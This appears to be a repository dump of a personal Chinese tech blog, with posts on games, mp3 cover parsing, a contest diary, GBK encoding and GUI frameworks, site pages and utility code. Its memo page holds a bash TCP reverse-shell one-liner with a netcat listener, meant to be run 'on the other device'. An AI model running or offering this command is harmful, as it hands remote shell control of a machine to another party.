73 | 最后查出来发现是 PHP 5.2.175.2.17。
74 |
75 | WTF。。。
76 |
77 | ---
78 |
79 | > 我要回前端去了,我受不这些语法错误了,PHP 社区如果觉得有人能用 5.2 开发,那这个社区就是疯了。
80 | >
81 | > > 我理解你,你应该去看看 **Discuz!** 社区。
82 | >
83 | > 为什么?
84 | >
85 | > > 你听说过 PHP7 吗?
86 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2018)/io-games/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: .io 游戏汇总分析
3 | description: 分析一些受欢迎的 io 游戏,寻找共同点与创新点
4 | ---
5 |
6 | # .io 游戏汇总分析
7 |
8 |
9 |
10 | ## agar.io
11 |
12 | **分类:** 大球吃小球类。
13 |
14 | 玩家可以按空格将自身分裂成等大的两份,因此可以追上小球。
15 |
16 | 吃掉绿刺会被迫将自身分裂成许多份,但同时也能加 100 mass。
17 |
18 | 玩法包括 FFA、Team。
19 |
20 | **高分套路:** 2P 合作吃刺刷分(2P 能保证敌人接近时能迅速合并成大球)。
21 |
22 | **AK 套路:** 多看 Youtube 学习骚操作。
23 |
24 | ## diep.io
25 |
26 | **分类:** 多人枪战类。
27 |
28 | 起初玩家是一个初级小坦克,通过打道具/击灭对手可以获得分数。
29 |
30 | 当等级达到 15/30/45 时,可以升级坦克(按住 Y 可以查看升级树)。
31 |
32 | 玩法包括 FFA、Team、Domination 以及 Survival、Maze 等玩法。
33 |
34 | **高分套路:** 熟练掌握几种高级坦克的优势,去地图的中心刷人头。
35 |
36 | **AK 套路:** 多看 Youtube 学习骚操作。
37 |
38 | ## slay.one
39 |
40 | **分类:** 多人枪战类。
41 |
42 | 玩家可以选择初始角色和技能,进入地图后武器分布在地图的固定位置,需要收集和抢夺。
43 |
44 | 有角色的卡片收集系统,玩法包括 Normal, Team, Infection。
45 |
46 | **高分套路:** 阴人。。。
47 |
48 | **AK 套路:** 多练习。。。
49 |
50 | ## wanderers.io
51 |
52 | **分类:** 多人资源生存类。
53 |
54 | **高分套路:** 阴人。。。
55 |
56 | **AK 套路:** 多练习。。。
57 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2018)/load-cover-from-mp3-file/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 从 mp3 文件中加载专辑封面
3 | ---
4 |
5 | # 从 mp3 文件中加载专辑封面
6 |
7 |
8 |
9 | 偶然翻出了以前在网上搜到的加载封面的脚本,今天就来分析一下。
10 |
11 | 我们的目的是实现一个函数 `parseCover(data)`,用来从二进制文件中解析出专辑封面。
12 |
13 | ## 判断是否有含有封面
14 |
15 | 需要满足两点:
16 |
17 | - 文件以 `"ID3"` 开头
18 | - 文件中能找到 `"APIC"`
19 |
20 | ## 获取文件大小
21 |
22 | 文件大小保存于 `"APIC"` 之后的四个字符,以十六进制存储。
23 |
24 | ## 获取文件
25 |
26 | 文件大小之后跳过两个字符,接下来长度为 `filesize` 的内容就是文件的主体。
27 | 但是图片的实际内容是从 `ffd8`(16 进制)之后才开始的。
28 | 在此之前会有一些关于图片类型的说明,这个我们用不到,所以不用管。
29 |
30 | ---
31 |
32 | 给出源代码:
33 |
34 | ```javascript
35 | // @author swwind
36 | var parseCover = function (data) {
37 | if (data.substr(0, 3) !== "ID3") {
38 | return false;
39 | }
40 | var index = data.indexOf("APIC");
41 | if (index < 0) {
42 | return false;
43 | }
44 | var calc = function (code) {
45 | var res =
46 | code.charCodeAt(0) * 0x1000000 +
47 | code.charCodeAt(1) * 0x10000 +
48 | code.charCodeAt(2) * 0x100 +
49 | code.charCodeAt(3) * 0x1;
50 | return res;
51 | };
52 | var filesize = calc(data.substr(index + 4, 4));
53 | var pic1 = data.substr(index + 10, filesize);
54 | var pic2 = pic1.slice(pic1.indexOf("\xff\xd8"));
55 | return "data:image/jpeg;base64," + btoa(pic2);
56 | };
57 | ```
58 |
59 | 顺便讲讲怎么从本地读取文件。
60 |
61 | 首先,你只能从 `` 中获取文件。
62 | 接着你只需要一个 `FileReader`。
63 | 兼容性还可以。[caniuse](https://caniuse.com/#search=FileReader)
64 |
65 | ```javascript
66 | var reader = new FileReader();
67 | reader.onload = function (e) {
68 | var data = this.result;
69 | var image = parseCover(data);
70 | document.getElementById("cover").src = image || "";
71 | };
72 | reader.readAsBinaryString(file);
73 | ```
74 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2018)/zjoi-day2/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: ZJOI day2 游记
3 | ---
4 |
5 | # ZJOI day2 游记
6 |
7 |
8 |
9 | ## Day0
10 |
11 | 中午出发,一个小时多一点就到了宾馆。
12 | ~~我 swwind 就是饿死,死这儿,从这里跳下去,也不会去食堂吃晚饭的。~~
13 |
14 | 晚上贝爷来了我们房间,并且似乎打算三天都待在这里了。(可怜的小猪独守空房
15 |
16 | 网上没事干,打算更新一下我的个人主页。
17 |
18 | 吐槽一句:Matter.js 的中文文档就这么少么。
19 | 搞得我只能用 `console.log` 查 API。
20 |
21 | ## Day1
22 |
23 | 乖乖地去了 7 楼吃早饭。
24 | 我后悔了。
25 |
26 | 上午坐在第一排听课。
27 | 讲 SCSS 的时候满脑子想着 [SCSS](https://www.npmjs.com/package/scss)。
28 | 我是不是没救了。
29 |
30 | 下午杂题选讲。
31 |
32 | 晚上试机。
33 | ~~哇塞,坐我旁边的是个妹子~~
34 |
35 | - 开机 5 分钟
36 | - XP 系统
37 | - 1.96 GB 内存
38 | - 3.2 GHz
39 |
40 | > 等省选比完就把这里的电脑全部扔掉。
41 | >
42 | > ——余姚中学
43 |
44 | ~~晚饭真香。~~
45 |
46 | 晚上把首页的小游戏写好了。
47 | push 上去一发!看看多久才有人发现。
48 |
49 | ## Day2
50 |
51 | 早饭去大食堂吃。
52 |
53 | 上午讲集训队互测题。
54 | 一回头发现 zhzh2001 正在玩我的首页。
55 | 这发现的也太快了吧。。
56 |
57 | 下午杂题选讲。
58 |
59 | 晚上睡得比较早。
60 |
61 | ## Day3
62 |
63 | 8 点放出了密码。
64 | 双击 pdf。。怎么打不开。。。
65 |
66 | 那我换个打开方式。
67 | 嗯、、Photoshop?
68 | 卧槽打开了(惊)。
69 |
70 | T1 什么鬼,打表似乎有 20 分。
71 | T2 看起来似乎很可做的样子。
72 | T3 卧槽计算几何、果断弃疗。
73 | 回去先打 T2 暴力。嗯?怎么 WA 了?
74 | 调了半天调不出来,就放着打 T1 哈希去了。
75 | 哈希打完,发现 $n=10$ 的时候萎掉了。
76 | 乱搞搞了好久,发现还是过不了样例。
77 | fake 回去调 T2。突然发现自己没开 `long long`。
78 | 然后我似乎有了一个绝妙的 $O(nmk)$ 的算法,发现只有半个小时了。
79 | 调了好久,终于过了小样例。
80 | 一测大样例,凉了。
81 |
82 | 出来以后估分贝爷 90,司机 140,zyy 80。
83 | %%% wzp AC T2。
84 |
85 | ## Day4
86 |
87 | 哇塞出成绩了。
88 |
89 | %%% szb & wzp 130 rk1
90 |
91 | szb: 卧槽我 T2 写了 60 分算法 A 了
92 |
93 | 我只有 10+20+0=30 分。
94 |
95 | ---
96 |
97 | 
98 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2019)/ascii-to-gbk/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: GBK 乱码问题
3 | ---
4 |
5 | # GBK 乱码问题
6 |
7 |
8 |
9 | 最近在网上下载了一个压缩包,据说密码写在压缩包注释中。
10 |
11 | 我的解压软件可爱地把压缩包的注释告诉了我:
12 |
13 | ```
14 | Comment =
15 | ½âѹÃÜÂ룺June
16 | ```
17 |
18 | 我沉默了。。。
19 |
20 | 那么我们就来聊一聊 GBK 乱码的解决方法。
21 |
22 | 好吧,其实简单的不得了。
23 |
24 | ```js
25 | const source = "½âѹÃÜÂ룺June";
26 | const array = new Uint8Array(source.split([]).map((c) => c.charCodeAt(0)));
27 | console.log(new TextDecoder("GBK").decode(array));
28 | // => "解压密码:June"
29 | ```
30 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2020)/happy-new-year-2021/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 2020 年度总结
3 | ---
4 |
5 | # 2020 年度总结
6 |
7 |
8 |
9 | 一转眼 2020 年就过去了,写一篇总结文章吧。
10 |
11 | 1. 一月:首考爆蛋,回家摸鱼
12 | 2. 二月:家里摸鱼
13 | 3. 三月:家里摸鱼
14 | 4. 四月:家里摸鱼 / 学校摸鱼
15 | 5. 五月:学校摸鱼
16 | 6. 六月:学校摸鱼
17 | 7. 七月:高考爆蛋,去杭州参加三一,结果什么卵用都没有
18 | 8. 八月:家里划水,然后得知被哈尔滨工业大学(威海)卡线录取
19 | 9. 九月:开学,军训,混进了校 acm 队,试图以此转到计算机专业
20 | 10. 十月:熟悉了大学的摸鱼生活,ccpc Cu,开始着手一个奇怪的年度计划
21 | 11. 十一月:摸鱼,ccpc Cu,没救了
22 | 12. 十二月:摸鱼,大学的生活一切都显得如此平淡
23 |
24 | 追过的番剧
25 |
26 | - 一月
27 | - 某科学的超电磁炮 T
28 | - 虚构推理(一半弃
29 | - ~~异种族风俗娘~~(我不是我没有
30 | - 怕痛的我,把防御力点满就对了
31 | - 四月
32 | - 公主连结 Re:Dive(一半弃
33 | - BNA(这烂尾烂的
34 | - 七月
35 | - Re:从零开始的异世界生活 2nd season(前半)(吹爆
36 | - 刀剑神域 Alicization War of Underworld -THE LAST SEASON-(我看了个啥
37 | - 租借女友(一半弃,男主太废了
38 | - 十月
39 | - 成神之日(~~这不比成神之日催泪?~~
40 | - 总之就是非常可爱(一半弃
41 | - 安达与岛村(一半弃
42 | - 魔女之旅(我老婆
43 | - One Room Third Season(吹爆
44 | - 补番
45 | - 在地下城寻找邂逅是不是搞错了什么 S1 S2(弃,太废了
46 | - 少女编号(女主太可爱了
47 | - 境界的彼方(没有未来的未来不是我想要的未来
48 | - 轻音少女(我永远喜欢 yui
49 | - JoJo 的奇妙冒险 S1 S2 S3 S4[1..2] S5[1..n/2](kono dio da
50 | - 映画(不包括 TV 动画剧场版)
51 | - 知晓天空之蓝的人啊(冈妈 \* 1
52 | - 想哭的我带上了猫的面具(冈妈 \* 2
53 | - 心灵想要大声呼喊(冈妈 \* 3
54 |
55 | _列表可能不全,问题不大_
56 |
57 | ~~今年又是颓废的一年呢(~~
58 |
59 | 明年要努力了呀。
60 |
--------------------------------------------------------------------------------
/src/routes/(black-history)/post/(2020)/js-ts-gui-framework/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: js/ts 的桌面图形界面框架汇总
3 | ---
4 |
5 | # js/ts 的桌面图形界面框架汇总
6 |
7 |
8 |
9 | 随着 NodeJS 和 Deno 的逐渐普及,JavaScript 社区也在一直寻找着可以用的桌面 APP 解决方案。由于桌面 GUI 的框架大多是用 C/C++ 写的,NodeJS 和 Deno 不得不需要一些使用别的语言包装好的框架。Deno 相比于 Node 可以原生支持 Rust 编写插件,但是目前整个 Deno 社区还在开荒阶段,因此想要用 Rust 里的 GUI 框架也许还要等上几个月(或者几年?)。
10 |
11 | 目前常见的有以下几种解决方案:
12 |
13 | 1. 包装 Chromium;
14 | 2. 封装 Qt 之类的 C/C++ 框架;
15 | 3. 在不同平台调用不同的系统原生 webview 组件(Cocoa/WebKit on macOS, webkit2gtk on Linux and Edge on Windows 10)并提供统一 API;
16 | 4. 利用 Chrome DevTools Protocol 直接调用已经安装的 Chrome 浏览器创建窗口。
17 |
18 | 其中第一类包括 [Electron](https://www.electronjs.org/) 以及 [NW.js](https://nwjs.io/) 等框架,Web 兼容性最强,但是包装出来的应用有点大(因为需要塞一个 Chromium)
19 |
20 | 第二类包括 [Proton Native](https://proton-native.js.org/) 等框架。
21 |
22 | 第三类包括 [webview_deno](https://github.com/webview/webview_deno), [neutralino](https://neutralino.js.org/), [tauri](https://tauri.studio/) 等框架,Web 兼容性可能没有第一类强,但是包装出来的应用可以很小。
23 |
24 | 第四类包括 [carlo(unmaintained)](https://github.com/GoogleChromeLabs/carlo) 等框架,由于需要宿主机有至少一个 Chromium 的换皮浏览器,因此可能支持面有一点不全面。
25 |
26 | ---
27 |
28 | 四类框架各有优缺点,但是普遍渲染性能较差。因此如果需要对图形渲染要求高的话,还是不建议使用以上的框架。最好去学 C/C++ 或者鬼畜的 Rust 以使用高性能的 GUI 框架。
29 |
--------------------------------------------------------------------------------
/src/routes/about/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 关于
3 | ---
4 |
5 | # 关于
6 |
7 |
8 |
9 | ## 关于我
10 |
11 | 咱只是一个随处可见的苦逼大学生罢了,目前在南京读研究生。
12 |
13 | 热爱造轮子事业,最喜欢的编程语言是 Rust,写的最多的语言是 JavaScript(但是我现在不想再写 JS 了,我觉得没有前途),希望有生之年能学会 Haskell。
14 |
15 | 如果你玩星穹铁道,那么可以加我好友,UID 是 577743232 在 UOJ 著名质数模域下的逆元(笑死,已经弃坑了)。
16 |
17 | ## 关于本站
18 |
19 | 本站历史上可以追溯到 2017 年,但是当时还是远古的 Hexo 博客,以及本人年少懵懂,文章大多已经成为了黑历史。
20 |
21 | 几经周折之后,本站翻新于 2023 年 3 月 4 日,使用[某基于 Vue 的全栈框架][blitz]构建,并且托管于 Cloudflare Pages。
22 |
23 | 博客主要写一些技术类文章,目前主要围绕折腾操作系统和 Web 技术。偶尔会有一些发电的文章,如果看到了请不要感到奇怪。
24 |
25 | 博客的评论系统托管于 Cloudflare Pages Function,免费次数用完了就访问不了了,但是应该不是太大的问题,除非有人闲着给我一天刷了几万次。
26 |
27 | 网站样式大部分抄袭 Telegraph,如果您觉得太丑陋了,那有可能确实很丑陋,但我也懒得改。
28 |
29 | 本站的创建也要感谢以下用户的帮助:
30 |
31 | - 感谢阿里云不停地发短信提醒我原来的 HK 服务器快要到期了;
32 | - 感谢我自己为我实现了一个如此简洁的全栈框架;
33 | - 感谢我的本科毕设导师从不催我干活,让我可以一直摸鱼;
34 | - 感谢我的研究生导师也不怎么催我干活,让我可以继续摸鱼。
35 |
36 | [blitz]: https://github.com/biliblitz/blitz
37 |
38 | ## 留言
39 |
40 |
41 |
--------------------------------------------------------------------------------
/src/routes/annouce/(2023)/blog-transfer/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 博客迁移公告 2023
3 | ---
4 |
5 | # 博客迁移公告 2023
6 |
7 |
8 |
9 | 博客现在从 Aliyun SG 迁移到了 Cloudflare Pages。
10 |
11 | Cloudflare Pages 的免费边缘计算还是很香的,比起自己维护一台云服务器,每天被发短信打电话催债续费,现在感觉还是边缘计算的小网站比较好。~~这样我省下来的钱就可以拿去给叔叔开大会员了~~
12 |
13 | 评论区的功能现在已经关闭了,因为也基本收不到什么有意义的信息。如果您发现网站上的信息有什么纰漏可以发邮件给我(i#sww.moe),或者在网站的 [GitHub 页面](https://github.com/swwind/blog)上提交 Issue。
14 |
15 |
16 |
25 |
26 |
27 | ## 评论
28 |
29 |
30 |
--------------------------------------------------------------------------------
/src/routes/annouce/(2024)/blog-comments/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 博客评论功能公测通知
3 | ---
4 |
5 | # 博客评论功能公测通知
6 |
7 |
8 |
9 | 网站评论功能进行简单测试,可以在这里随便灌水。
10 |
11 | ## 评论
12 |
13 |
14 |
--------------------------------------------------------------------------------
/src/routes/annouce/(2024)/hug-to-vue/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 抛弃 Preact,拥抱 Vue
3 | ---
4 |
5 | # 抛弃 Preact,拥抱 Vue
6 |
7 |
8 |
9 | 经过长时间的开发体验,我终于意识到了一件事情,那就是——Preact 狗都不用。
10 |
11 |
12 |
13 |
17 |
18 | Preact 在设计上与 React 并无二致,原本 React 是怎么💩的设计,Preact 全部继承了下来。
19 |
20 |
21 |
22 | 屎一般的 useState 设计 - 来源
23 |
24 |
25 | Preact 和 React 在 Context 比较多的时候,都会变成一大坨缩进的💩。
26 |
27 |
28 |
29 | Context 缩进地狱 - 来源
30 |
31 |
32 | 与这种💩一般的设计相比,Vue 简直就是理想中的完美框架。
33 |
34 | Vue 优雅的接口设计,可以让开发者专注于业务逻辑,而不是繁琐的状态管理。让开发变成了一种愉悦的体验,而不是在 React 中痛苦地挣扎。
35 |
36 | 所以,额,我想说的是,Vue 很好用,你们都应该去用一用。
37 |
38 | ## 评论
39 |
40 |
41 |
--------------------------------------------------------------------------------
/src/routes/friend/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 友情链接
3 | ---
4 |
5 | # 友情链接
6 |
7 |
8 |
9 | 如果想要添加友链,您可以在网页的最下面留言。
10 |
11 | - [Paro](https://paro.one/)
12 | - [q234rty](https://q234rty.top/)
13 | - [zhzh2001](https://zhzh2001.bitbucket.io/)
14 | - [sxyugao](https://sxyugao.top/)
15 | - [shajjl](https://shajjl.github.io/)
16 | - [attack204](https://blog.attack204.com/)
17 | - [pomoke](https://typeof.pw/)
18 | - [rockm3](https://blog.rockm3.net/)
19 | - [tianze](https://tianz.us.kg/)
20 |
21 | 以下友链托管于 CSDN,请自行复制链接打开。
22 |
23 | - zhouyuyang233 (巨佬) - `https://blog.csdn.net/zhouyuyang233/`
24 | - largecube - `https://blog.csdn.net/largecub233/`
25 |
26 | ## 留言
27 |
28 |
29 |
--------------------------------------------------------------------------------
/src/routes/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | index: true
3 | title: swwind 的博客
4 | description: swwind 的博客,主要用于发布博客文章。
5 | ---
6 |
7 |
10 |
11 |
12 |
13 | 我的老婆モモイ
14 |
15 |
16 | # swwind 的博客
17 |
18 | 大家好,这里是 swwind 的博客,主要更新技术方面的文章。
19 |
20 | 本人 24 岁,是学生。
21 |
22 | ## 技术文章
23 |
24 | 文章按照发表顺序排序
25 |
26 | **2024年**
27 |
28 | - [【灌水】再看软解 HEVC:开启 SIMD 优化,加快帧渲染](/post/hevc-wasm-2/) - 2024年12月27日
29 | - [【灌水】Arch Linux 上部署 Deno 项目的方案](/post/deploy-deno/) - 2024年12月15日
30 | - [【灌水】Linux 下使用 Tproxy 指南](/post/how-to-use-tproxy-linux/) - 2024年11月19日
31 | - [【灌水】Pandoc 使用速查](/post/pandoc-memo/) - 2024年11月10日
32 | - [【灌水】抛弃 Preact,拥抱 Vue](/annouce/hug-to-vue/) - 2024年8月11日
33 | - [【灌水】Cloudflare D1 使用记录](/post/cloudflare-d1/) - 2024年7月14日
34 | - [【学习】SWC 食用指南](/post/swc-intro/) - 2024年7月8日
35 | - [【学习】基于 systemd-nspawn 的轻量化容器搭建与网络配置](/post/nspawn-is-great/) - 2024年4月16日
36 | - [【通知】博客评论功能公测](/annouce/blog-comments/) - 2024年2月29日
37 | - [【灌水】使用 redroid 玩耍 Arknights](/post/redroid-arknights/) - 2024年1月8日
38 |
39 | **2023年**
40 |
41 | - [【学习】若干漏洞的复现和原理解释](/post/exploits/) - 2023年6月12日
42 | - [【灌水】基于 WebAssembly 软解 HEVC 视频](/post/hevc-wasm/) - 2023年4月3日
43 | - [【通知】博客迁移公告 2023](/annouce/blog-transfer/) - 2023年3月5日
44 | - [【灌水】使用 Qwik City 快速搭建一个博客](/post/qwik-blog/) - 2023年3月5日
45 |
46 | **2022年**
47 |
48 | - [【数学】Curve25519/X25519 原理与实现](/post/x25519/) - 2022年12月20日
49 |
50 | ## 日语学习
51 |
52 | 文章按照发表顺序排序
53 |
54 | - [【学习】「病名は愛だった」歌詞翻訳](/post/byoumei-ha-ai-datta/) - 2023年8月31日
55 |
56 | ## 其他
57 |
58 | 不建议查看
59 |
60 | - [黑历史目录](/black-history/)
61 |
--------------------------------------------------------------------------------
/src/routes/layout.vue:
--------------------------------------------------------------------------------
1 |
23 |
24 |
25 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/src/routes/post/(2023)/exploits/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 若干漏洞的复现和原理解释
3 | ---
4 |
5 | # 若干漏洞的复现和原理解释
6 |
7 |
8 |
9 | 本身就是学校的作业,既然做了我就顺便发到博客里面给大家乐一乐。
10 |
11 | - [CVE-2021-23443 - Edge.js 的 XSS 漏洞](/post/exploits/cve-2021-23443)
12 | - [CVE-2022-35204 - Vite 的路径遍历漏洞](/post/exploits/cve-2022-35204)
13 | - [CVE-2023-26103 - Deno 的 ReDoS 漏洞](/post/exploits/cve-2023-26103)
14 | - [CVE-2023-29199 - vm2 的沙箱逃逸漏洞](/post/exploits/cve-2023-29199)
15 |
16 | ## 免责声明
17 |
18 | 以上代码仅供学习之用,对此产生的任何后果,与本人无关。使用本代码进行攻击行为造成的负面影响和法律后果,由使用者自行承担,与本人无关。本人不对使用者的任何行为和后果承担任何责任。
19 |
20 | 请注意,在进行漏洞复现和测试时,请务必遵守所在国家/地区相关法律法规,并获得被测系统所有者的授权。使用本代码和漏洞利用技术的一切后果都要由使用者自行承担。
21 |
22 | 祝您学习愉快!
23 |
24 | ## 评论
25 |
26 |
27 |
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/cover.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/cover.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/dengxian.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/dengxian.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/fandolsong.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/fandolsong.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/fangsong.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/fangsong.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/kaiti.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/kaiti.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/msyh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/msyh.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/notoserifcjksc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/notoserifcjksc.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/nsimsun.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/nsimsun.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/physics.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/physics.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/proof.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/proof.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/simhei.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/simhei.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/simsun.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/simsun.png
--------------------------------------------------------------------------------
/src/routes/post/(2024)/pandoc-memo/tikz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/routes/post/(2024)/pandoc-memo/tikz.png
--------------------------------------------------------------------------------
/src/routes/tools/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 工具
3 | ---
4 |
5 | # 工具
6 |
7 |
8 |
9 | 这些都是我闲着没事干搞的东西。你们看个乐就好了。
10 |
11 | - [性感荷官在线加密](/tools/x25519/)
12 | - [锟斤拷生成器](/tools/kunjinkao/)
13 |
--------------------------------------------------------------------------------
/src/routes/tools/memo/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: 备忘录
3 | description: 我什么都记不住
4 | ---
5 |
6 | # 备忘录
7 |
8 | ## Reverse Shell (Bash TCP) mark
9 |
10 | ```bash
11 | # 本地开一个 5555 端口监听(extra/gnu-netcat)
12 | nc -lvnp 5555
13 |
14 | # 想办法在对面设备上面执行
15 | bash -i >& /dev/tcp/192.168.24.1/5555 0>&1
16 | ```
17 |
18 | [其他手段](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#reverse-shell)
19 |
20 | ## FFmpeg
21 |
22 | 转码
23 |
24 | ```sh
25 | ffmpeg \
26 | # 输入视频
27 | -i input-1.mp4
28 | # 设置起始时间
29 | -ss 00:01:00
30 | # 设置结束时间
31 | -to 00:02:00
32 | # 设置视频编码格式
33 | -c:v hevc
34 | -c:v copy
35 | # 设置视频码率
36 | -b:v 8M
37 | # 设置音频编码格式
38 | -c:a aac
39 | -c:a copy
40 | # 设置音频码率
41 | -b:a 340k
42 | # 设置输出格式(一般可以自动推断)
43 | -f mp4
44 | # 设置输出文件
45 | output.mp4
46 | ```
47 |
48 | 推流
49 |
50 | ```sh
51 | ffmpeg \
52 | # 设置推流速度为播放速度
53 | -re
54 | # 输入
55 | -i input-1.mp4
56 | # 设置编码格式
57 | -c copy
58 | # 设置容器格式
59 | -f flv
60 | # 推流地址
61 | rtmp://xxx/xxx
62 | ```
63 |
64 | ### 硬件编解码(需要 cuda)
65 |
66 | ```sh
67 | ffmpeg \
68 | -hwaccel cuda
69 | -c:v h264_nvenc
70 | -c:v hevc_nvenc
71 | -c:v av1_nvenc
72 | ```
73 |
74 | ## GitHub Action
75 |
76 | ### 发布 npm publish
77 |
78 | 1. 首先打开 npmjs.org,申请一个 access token
79 | 2. 在 GitHub 上点仓库设置,选择 Environments,创建一个新的 NPM_TOKEN,在里面添加新的 Secret,名称为 NPM_TOKEN,值为上面获取的 access token
80 | 3. 复制粘贴这份 [YAML](https://github.com/biliblitz/blitz/blob/master/.github/workflows/build.yml)
81 |
--------------------------------------------------------------------------------
/src/utils/chinese-calendar.ts:
--------------------------------------------------------------------------------
1 | /** this is unstable!!! */
2 | export function toChineseCalendar(date: number | Date) {
3 | return new Intl.DateTimeFormat("zh-CN", {
4 | dateStyle: "full",
5 | calendar: "chinese",
6 | })
7 | .format(date)
8 | .slice(4, -3)
9 | .replace("十一月", "冬月");
10 | }
11 |
12 | export function toYangliCalendar(date: number | Date) {
13 | return new Intl.DateTimeFormat("zh-CN", { dateStyle: "long" }).format(date);
14 | }
15 |
16 | export function formatDate(date: number | Date) {
17 | return new Intl.DateTimeFormat("zh-CN", {
18 | dateStyle: "long",
19 | // timeStyle: "medium",
20 | }).format(date);
21 | }
22 |
--------------------------------------------------------------------------------
/src/utils/crypto/sha256.ts:
--------------------------------------------------------------------------------
1 | import { encodeBase64 } from "@std/encoding";
2 |
3 | export async function sha256(message: Uint8Array) {
4 | return new Uint8Array(await crypto.subtle.digest("SHA-256", message));
5 | }
6 |
7 | export async function verify(message: Uint8Array, tag: Uint8Array) {
8 | const mac = await sha256(message);
9 | // console.log(encodeBase64(mac), encodeBase64(tag))
10 | return encodeBase64(mac) === encodeBase64(tag);
11 | }
12 |
--------------------------------------------------------------------------------
/src/utils/gbk.ts:
--------------------------------------------------------------------------------
1 | const ranges = [
2 | // GBK/1
3 | [0xa1, 0xa9, 0xa1, 0xfe],
4 | // GBK/2
5 | [0xb0, 0xf7, 0xa1, 0xfe],
6 | // GBK/3
7 | [0x81, 0xa0, 0x40, 0xfe],
8 | // GBK/4
9 | [0xaa, 0xfe, 0x40, 0xa0],
10 | // GBK/5
11 | [0xa8, 0xa9, 0x40, 0xa0],
12 | // user defined 1
13 | [0xaa, 0xaf, 0xa1, 0xfe],
14 | // user defined 2
15 | [0xf8, 0xfe, 0xa1, 0xfe],
16 | // user defined 3
17 | [0xa1, 0xa7, 0x40, 0xa0],
18 | ];
19 |
20 | const codes = new Uint16Array(23940);
21 | let i = 0;
22 |
23 | for (const [b1Begin, b1End, b2Begin, b2End] of ranges) {
24 | for (let b2 = b2Begin; b2 <= b2End; b2++) {
25 | if (b2 !== 0x7f) {
26 | for (let b1 = b1Begin; b1 <= b1End; b1++) {
27 | codes[i++] = (b2 << 8) | b1;
28 | }
29 | }
30 | }
31 | }
32 | const str = new TextDecoder("gbk").decode(codes);
33 |
34 | // 编码表
35 | const table = new Uint16Array(65536);
36 | for (let i = 0; i < str.length; i++) {
37 | table[str.charCodeAt(i)] = codes[i];
38 | }
39 |
40 | export function encodeGBK(str: string) {
41 | const buf = new Uint8Array(str.length * 2);
42 | let n = 0;
43 |
44 | for (let i = 0; i < str.length; i++) {
45 | const code = str.charCodeAt(i);
